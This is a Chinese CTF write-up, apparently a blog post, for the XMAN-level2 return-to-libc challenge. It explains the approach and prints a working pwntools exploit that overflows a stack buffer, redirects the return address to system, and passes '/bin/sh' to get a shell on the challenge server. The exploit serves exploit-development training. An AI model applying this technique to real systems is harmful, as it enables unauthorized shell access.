XMAN-level2(return_to_libc)

思路:这题主演考察return_to_libc,通过覆盖vulnerable_function返回地址,跳转到system函数,构造栈上的参数,传入"/bin/sh"。即可getshell。

1.使用gdb-peda查看是否有保护机制。

2.shift+F12查看是否有可利用函数,这里有"/bin/sh"字符串,没有现成的函数。

3.用IDA打开查看代码,发现调用了system函数。这里我们可以覆盖vulnerable_function返回地址,跳转到system函数,构造栈上的参数,给system传入"/bin/sh",就可以获得一个shell(此处system函数的返回地址可以随便写,因为不需要用到)。具体流程如下:

4.具体代码如下:

# coding:utf-8
from pwn import *

context(arch='i386',os='linux',log_level='debug')
sh = remote("pwn2.jarvisoj.com",9878)
# sh = process("./level2")
elf = ELF('./level2') 
_sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()

payload = 'a' * (0x88 + 0x4) + p32(_sys_addr) + p32(0x0) + p32(sh_addr)

sh.recvuntil('Input:\n')
sh.sendline(payload)
sh.interactive()
sh.close()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容